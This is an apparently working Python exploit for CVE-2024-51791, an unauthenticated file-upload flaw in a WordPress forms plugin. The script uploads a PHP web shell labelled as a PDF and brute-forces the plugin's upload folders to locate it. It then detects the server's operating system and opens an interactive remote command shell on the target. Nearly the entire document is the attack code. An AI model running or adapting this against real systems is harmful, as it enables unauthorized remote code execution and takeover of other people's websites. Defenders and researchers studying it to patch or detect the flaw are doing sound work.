import requests
import argparse
import time

# Configuración de argparse
parser = argparse.ArgumentParser(description="Script to upload a PHP file, detect OS, and interact with a shell.")
parser.add_argument(
    "--target",
    type=str,
    required=True,
    help="The URL of the target form (e.g., http://localhost/wordpress_lab/form-1/)."
)
parser.add_argument(
    "--form-id",
    type=int,
    required=True,
    help="The value of the form_id field (e.g., 375)."
)
args = parser.parse_args()

# Banner ASCII
def banner():
    banner = r"""
   _______    ________    ___   ____ ___  __ __        __________________ ___
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /       / ____<  /__  / __ <  /
 / /    | | / / __/________/ // / / /_/ / // /_______/___ \ / /  / / /_/ / / 
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/___/ // /  / /\__, / /  
\____/  |___/_____/    /____/\____/____/ /_/       /_____//_/  /_//____/_/   
                                                                                                                                              
    0-click RCE (Unauthenticated / Pre-auth) Exploit for CVE-2024-51791
                coded by @JoshuaProvoste (jp / kw0)
"""
    print(banner)
banner()

# Mostrar mensajes formateados
def print_message(message, icon):
    print(f"{icon} {message}")

# Configurar headers y payload para la solicitud POST
base_url = args.target.rstrip("/form-1/")
form_id = args.form_id

headers = {
    "Host": requests.utils.urlparse(base_url).netloc,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Origin": base_url,
    "DNT": "1",
    "Sec-GPC": "1",
    "Connection": "keep-alive",
    "Referer": f"{base_url}/form-1/",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-User": "?1",
    "Priority": "u=0, i",
}

php_payload = """<?php
if (php_sapi_name() !== 'cli' && !isset($_GET['cmd'])) {
    echo 'System OS: ' . php_uname('s');
}
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>"""

files = {
    "field-1": ("cmd.php", php_payload, "application/pdf"),
}
data = {
    "form_id": form_id,
}

# Subir el archivo PHP
print_message("Uploading the payload to the target...", "\n[+]")
response = requests.post(args.target, headers=headers, files=files, data=data)

if response.status_code != 200:
    print_message(f"File upload request failed with status code {response.status_code}.", "[-]")
    exit()

print_message("File upload request successful!", "[+]")

# Enumerar directorios para identificar la última carpeta válida
print_message("Starting directory bruteforcing...", "[+]")
counter = form_id
max_consecutive_404 = 5
consecutive_404 = 0
last_valid_directory = None

while True:
    current_url = f"{base_url}/wp-content/uploads/madeit-forms/{form_id}/{counter}/"
    print_message(f"Checking directory: {current_url}", "[+]")

    response = requests.get(current_url)
    if response.status_code == 200:
        last_valid_directory = current_url
        consecutive_404 = 0
    else:
        consecutive_404 += 1

    if consecutive_404 >= max_consecutive_404 and last_valid_directory:
        break

    counter += 1

if not last_valid_directory:
    print_message("No valid directories detected.", "[-]")
    exit()

print_message(f"Payload folder detected: {last_valid_directory}", "\n[+]")

# Obtener el archivo cargado desde la última carpeta válida
response = requests.get(last_valid_directory)
if response.status_code != 200:
    print_message("Failed to retrieve contents of the last folder.", "[-]")
    exit()

import re
match = re.search(r'href="([^"]+\.php)"', response.text)
if not match:
    print_message("No valid PHP file found in the folder.", "[-]")
    exit()

uploaded_file_name = match.group(1)
uploaded_file_url = f"{last_valid_directory}{uploaded_file_name}"
print_message(f"File uploaded successfully: {uploaded_file_url}", "[+]")

# Detectar el sistema operativo
print_message("Detecting operating system from the target...", "\n[+]")
try:
    os_response = requests.get(uploaded_file_url).text.strip().lower()
    if "windows" in os_response:
        print_message("Detected OS: Windows.", "[+]")
    elif "linux" in os_response:
        print_message("Detected OS: Linux.", "[+]")
    else:
        print_message("Failed to detect OS. Unexpected response.", "[-]")
except requests.exceptions.RequestException as e:
    print_message(f"Failed to detect OS: {e}", "[-]")
    exit()

# Iniciar shell interactiva
print_message("Entering interactive shell mode...\n", "[+]")
print("Type 'exit' or 'Ctrl+C' to leave.\n")

try:
    while True:
        command = input("shell> ")
        if command.lower() == "exit":
            print_message("Exiting interactive shell.", "[+]")
            break

        try:
            response = requests.get(uploaded_file_url, params={"cmd": command})
            if response.status_code == 200:
                output = response.text.strip()
                if output:
                    print(output)
                else:
                    print_message("Command executed, but no output was returned.", "[+]")
            else:
                print_message(f"Command execution failed. HTTP Status: {response.status_code}", "[-]")
        except requests.RequestException as e:
            print_message(f"Error during command execution: {e}", "[-]")
except KeyboardInterrupt:
    print("\nKeyboard interrupt detected. Exiting interactive shell.")
